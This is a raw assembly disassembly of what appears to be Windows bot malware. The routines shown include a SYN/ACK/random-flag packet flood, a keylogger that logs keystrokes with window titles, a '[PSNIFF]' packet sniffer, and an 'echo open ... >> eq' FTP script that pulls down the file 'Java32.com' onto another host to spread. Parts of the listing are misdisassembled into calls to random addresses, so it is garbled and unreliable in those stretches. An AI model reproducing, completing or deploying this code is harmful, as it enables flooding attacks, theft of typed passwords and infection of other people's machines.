		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1D
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_4233EC
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D32
		add	esp, 14h


loc_401CFD:				; CODE XREF: seg000:00401CD8j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-0BCh]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 99286B40h
		xchg	eax, esp


loc_401D1D:				; CODE XREF: seg000:00401CB5j
		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_43A3A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8D
		lea	eax, [ebp-440h]
		push	offset dword_4233B8
		push	eax
		call	sub_4154CD
		cmp	[ebp-0A8h], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D32
		add	esp, 14h


loc_401D6D:				; CODE XREF: seg000:00401D48j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-0BCh]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0FAB008B2h
		cdq


loc_401D8D:				; CODE XREF: seg000:00401D2Dj
		push	10h
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	ebx
		call	ds:dword_43A368
		mov	[ebp-42h], ax
		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_43A3A8
		mov	[ebp-40h], eax
		mov	[ebp+8], ebx
		call	edi
		mov	[ebp-30h], eax


loc_401DC5:				; CODE XREF: seg000:00402006j
		call	edi
		sub	eax, [ebp-30h]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp-0B4h]
		ja	near ptr loc_402088+1
		push	28h
		mov	byte ptr [ebp-2Ch], 45h
		call	ds:dword_43A368
		cmp	[ebp-0B0h], ebx
		mov	[ebp-2Ah], ax
		mov	[ebp-28h], si
		mov	[ebp-26h], bx
		mov	byte ptr [ebp-24h], 80h
		mov	byte ptr [ebp-23h], 6
		mov	[ebp-22h], bx
		jz	short loc_401E38
		call	sub_415529
		mov	esi, eax
		shl	esi, 8
		call	sub_415529
		add	esi, eax
		shl	esi, 8
		call	sub_415529
		add	esi, eax
		shl	esi, 8
		call	sub_415529
		add	esi, eax
		push	1
		mov	[ebp-20h], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E38:				; CODE XREF: seg000:00401E09j
		push	dword ptr [ebp-240h]
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3A8
		mov	[ebp-20h], eax


loc_401E4E:				; CODE XREF: seg000:00401E36j
		mov	eax, [ebp-40h]
		cmp	[ebp-0B8h], ebx
		mov	[ebp-1Ch], eax
		jnz	short loc_401E6C
		call	sub_415529
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: seg000:00401E5Aj
		push	dword ptr [ebp-0B8h]


loc_401E72:				; CODE XREF: seg000:00401E6Aj
		call	ds:dword_43A368
		mov	[ebp-16h], ax
		call	sub_415529
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43A368
		push	12345678h
		mov	[ebp-18h], ax
		call	ds:dword_43A364
		mov	[ebp-14h], eax
		lea	eax, [ebp-1BCh]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: seg000:00401EB7j
		lea	eax, [ebp-1BCh]
		push	offset aAck	; "ack"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EE2:				; CODE XREF: seg000:00401ED7j
		lea	eax, [ebp-1BCh]
		push	offset aRandom	; "random"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_415529
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-10h], edx
		call	sub_415529
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-0Bh], dl


loc_401F1E:				; CODE XREF: seg000:00401EC0j
					; seg000:00401EE0j ...
		push	200h
		mov	byte ptr [ebp-0Ch], 50h
		call	ds:dword_43A368
		mov	[ebp-0Ah], ax
		mov	eax, [ebp-20h]
		mov	[ebp-64h], eax
		mov	eax, [ebp-1Ch]
		push	14h
		mov	[ebp-6], bx
		mov	[ebp-8], bx
		mov	[ebp-60h], eax
		mov	[ebp-5Ch], bl
		mov	byte ptr [ebp-5Bh], 6
		call	ds:dword_43A368
		mov	[ebp-5Ah], ax
		lea	eax, [ebp-64h]
		push	20h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-80h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-0A0h]
		push	34h
		push	eax
		call	sub_40A1AE
		mov	[ebp-8], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp-78h]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 44h
		lea	eax, [ebp-0A0h]
		push	28h
		push	eax
		call	sub_40A1AE
		mov	[ebp-22h], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155B0
		add	esp, 14h
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0A0h]
		push	3Ch
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_43A3CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	dword ptr [ebp+8]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------


loc_40200B:				; CODE XREF: seg000:00402001j
		push	dword ptr [ebp-4]
		call	ds:dword_43A400
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		push	offset dword_423344
		lea	eax, [ebp-440h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 18h
		cmp	[ebp-0A8h], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D32
		add	esp, 14h


loc_402069:				; CODE XREF: seg000:00402044j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-0BCh]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0DDFE9ADh


loc_402088:				; CODE XREF: seg000:00401DD9j
		cmp	bh, 75h
		cld
		call	ds:dword_43A400
		mov	eax, [ebp+8]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	dword ptr [ebp-0B4h]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-1BCh]
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_4232E0
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D32
		add	esp, 14h


loc_4020FA:				; CODE XREF: seg000:004020D5j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-0BCh]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 562BF87Eh
		or	edx, [ebp-75h]	; CODE XREF: seg000:004022AFp
					; seg000:0040244Ep
		in	al, dx


loc_40211D:				; DATA XREF: seg002:off_42F360o
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	ds:dword_42105C
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 0D5583131h
		cmp	[ebp-1137Bh], ecx
		jmp	fword ptr [eax+30h]
; ---------------------------------------------------------------------------
		cmp	al, 42h
		add	[eax-18h], dl
		lahf
		cmp	al, [ecx]
		add	[ebp-1137Bh], cl
		jmp	fword ptr [eax-3Ch]
; ---------------------------------------------------------------------------
		rol	dword ptr [edx+0], 50h
		call	sub_415BF0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BC8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: seg000:0040217Aj
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_415B76
		push	esi
		call	sub_415B20
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_4021F6
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_423BEC
		push	200h
		push	eax
		call	sub_415A4A
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h


loc_4021F6:				; CODE XREF: seg000:004021BDj
		xor	eax, eax


loc_4021F8:				; CODE XREF: seg000:0040217Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4021FB:				; DATA XREF: seg000:0040EC57o
		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-8DCh], 0
		push	25h
		and	dword ptr [ebp-4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-0DCh]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-8D8h]
		rep stosd
		call	ds:dword_43A2F0
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_43A304
		mov	ebx, 200h


loc_402256:				; CODE XREF: seg000:004024C2j
		push	8
		call	ds:dword_421060
		call	ds:dword_43A2F0
		cmp	eax, [ebp-8]
		jz	short loc_4022DE
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_43A304
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		lea	eax, [ebp-4DCh]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4154CD
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: seg000:00402267j
		mov	dword ptr [ebp+8], offset aB ; "b"


loc_4022E5:				; CODE XREF: seg000:004024B8j
		push	10h
		call	ds:dword_43A248
		movsx	esi, ax
		mov	eax, [ebp+8]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_43A334
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	ds:dword_43A248
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	dword ptr [ebp+edi*4-8DCh], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: seg000:0040230Dj
					; seg000:00402312j ...
		push	14h
		call	ds:dword_43A248
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	dword ptr [ebp+edi*4-8DCh], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_402359:				; CODE XREF: seg000:00402339j
					; seg000:00402342j ...
		test	esi, esi
		jge	short loc_40236D
		mov	dword ptr [ebp+edi*4-8DCh], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40236D:				; CODE XREF: seg000:0040233Dj
					; seg000:0040235Bj
		mov	dword ptr [ebp+edi*4-8DCh], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40237D:				; CODE XREF: seg000:00402300j
		mov	esi, [ebp+edi*4-8DCh]
		lea	eax, [ebp+edi*4-8DCh]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp-2DCh]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_415CD0
		and	byte ptr [ebp+eax-2DDh], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: seg000:004023A0j
		call	sub_415CD0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	ds:dword_43A2F0
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43A304
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------


loc_4023E7:				; CODE XREF: seg000:004023C0j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_415CD0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	ds:dword_43A2F0
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43A304
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_402428:				; CODE XREF: seg000:004023E5j
		lea	eax, [ebp-4DCh]
		push	eax
		call	sub_4154CD
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------


loc_40247F:				; CODE XREF: seg000:004023EAj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD


loc_402493:				; CODE XREF: seg000:0040248Cj
		push	dword ptr [ebp+8]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------


loc_402498:				; CODE XREF: seg000:00402482j
					; seg000:00402487j
		mov	eax, [ebp+8]
		add	eax, 7
		push	eax


loc_40249F:				; CODE XREF: seg000:00402496j
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_415BF0
		pop	ecx
		pop	ecx


loc_4024AD:				; CODE XREF: seg000:00402329j
					; seg000:00402354j ...
		add	dword ptr [ebp+8], 14h
		cmp	dword ptr [ebp+8], offset dword_423BB4
		jl	loc_4022E5
		cmp	dword ptr [ebp-4], 0
		jz	loc_402256
		push	dword ptr [ebp-0D8h]
		call	sub_415295
		pop	ecx
		push	0
		call	near ptr 0C0C686A0h
		aam	55h
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415D50
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp-0B4h]
		pop	ecx
		mov	[ebp-8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	ds:dword_43A368
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3A8
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	ds:dword_43A3E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short loc_4025B1
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_42462C
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_402594:				; CODE XREF: seg000:00402572j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 9EE01B95h
		inc	eax


loc_4025B1:				; CODE XREF: seg000:00402552j
		mov	eax, [ebp-30h]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43F504[eax], edi
		lea	eax, [ebp-1Ch]
		push	eax
		push	edi
		call	ds:dword_43A394
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_402635+1
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_4245E4
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402612
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_402612:				; CODE XREF: seg000:004025F0j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	edi
		call	ds:dword_43A400
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 0B4F5CA5Ah


loc_402635:				; CODE XREF: seg000:004025D0j
		mov	edx, [esi-73h]
		inc	ebp
		loopne	near ptr loc_40268D+4
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	ds:dword_43A314
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4026B8+1
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_424598
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402695
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]


loc_40268D:				; CODE XREF: seg000:00402639j
		call	sub_412D32
		add	esp, 14h


loc_402695:				; CODE XREF: seg000:00402673j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	edi
		call	ds:dword_43A400
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 0ADDE4F79h


loc_4026B8:				; CODE XREF: seg000:00402653j
		mov	ah, 53h
		mov	ebx, offset dword_423C90


loc_4026BF:				; CODE XREF: seg000:004026F7j
					; seg000:00402709j ...
		mov	edi, 0FFFFh
		lea	eax, [ebp-102B4h]
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-102B4h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_43A380
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027D1
		cmp	byte ptr [ebp-102ABh], 6
		jnz	short loc_4026BF
		mov	eax, [ebp-102A8h]
		cmp	byte ptr [ebp-10293h], 18h
		mov	[ebp-0Ch], eax
		jnz	short loc_4026BF
		lea	eax, [ebp-1028Ch]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4026BF
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_4026BF
		mov	[ebp+8], ebx


loc_40272D:				; CODE XREF: seg000:00402748j
		push	eax
		lea	eax, [ebp-1028Ch]
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40274F
		inc	edi
		add	dword ptr [ebp+8], 18h
		mov	eax, [ebp+8]
		jnz	short loc_40272D
		jmp	loc_4026BF
; ---------------------------------------------------------------------------


loc_40274F:				; CODE XREF: seg000:0040273Ej
		lea	eax, [ebp-1028Ch]
		push	eax
		push	dword ptr [ebp-102A0h]
		call	ds:dword_43A2A4
		movzx	eax, ax
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, ds:dword_423CA4[eax*8]
		push	ds:off_423C80[eax*4]
		lea	eax, [ebp-2B4h]
		push	offset unk_424544
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		cmp	[ebp-28h], esi
		jnz	short loc_4027BF
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_4027BF:				; CODE XREF: seg000:0040279Dj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		jmp	loc_4026BF
; ---------------------------------------------------------------------------


loc_4027D1:				; CODE XREF: seg000:004026EAj
		call	ds:dword_43A2FC
		push	eax
		push	offset unk_4244FC
		lea	eax, [ebp-2B4h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp-28h], esi
		pop	ebx
		jnz	short loc_402817
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_402817:				; CODE XREF: seg000:004027F5j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_43A400
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 0DBCF4441h
		xor	[ebp-75h], edx	; CODE XREF: sub_402988+440p
		in	al, dx
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	ds:dword_4211D8
		mov	[ebp-10h], eax
		mov	ax, ds:word_424F58
		push	eax
		call	ds:dword_4211DC
		push	esi
		push	1
		push	2
		mov	[ebp-12h], ax
		call	ds:dword_4211E0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jz	loc_40295D
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4211E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40295D
		push	esi
		lea	eax, [ebp-5A4h]
		push	400h
		push	eax
		push	edi
		call	ds:dword_4211E8
		mov	esi, offset aJava32_com	; "Java32.com"
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aSf_	; "sf."
		push	offset aSf	; "sf"
		push	offset a78001	; "78001"
		push	offset dword_468964
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp-1A4h]
		push	ebx
		push	eax
		call	sub_415A4A
		add	esp, 24h
		lea	eax, [ebp-1A4h]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		push	edi
		mov	edi, ds:dword_4211EC
		call	edi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40295D
		push	1F4h
		call	ds:dword_421060
		push	esi
		push	offset dword_425050
		lea	eax, [ebp-1A4h]
		push	ebx
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-1A4h]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		push	dword ptr [ebp-4]
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402961


loc_40295D:				; CODE XREF: seg000:00402891j
					; seg000:004028A7j ...
		xor	al, al
		jmp	short loc_402983
; ---------------------------------------------------------------------------


loc_402961:				; CODE XREF: seg000:0040295Bj
		push	0
		lea	eax, [ebp-5A4h]
		push	400h
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_4211E8
		push	dword ptr [ebp-4]
		call	ds:dword_4211F0
		mov	al, 1


loc_402983:				; CODE XREF: seg000:0040295Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402988	proc near		; CODE XREF: sub_402DDD+11Bp
					; sub_402DDD+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415D50
		mov	eax, ds:dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_4250C4
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]


loc_4029C5:				; CODE XREF: sub_402988+4Dj
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4029C5
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B68
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CD0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155B0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415CD0
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4155B0
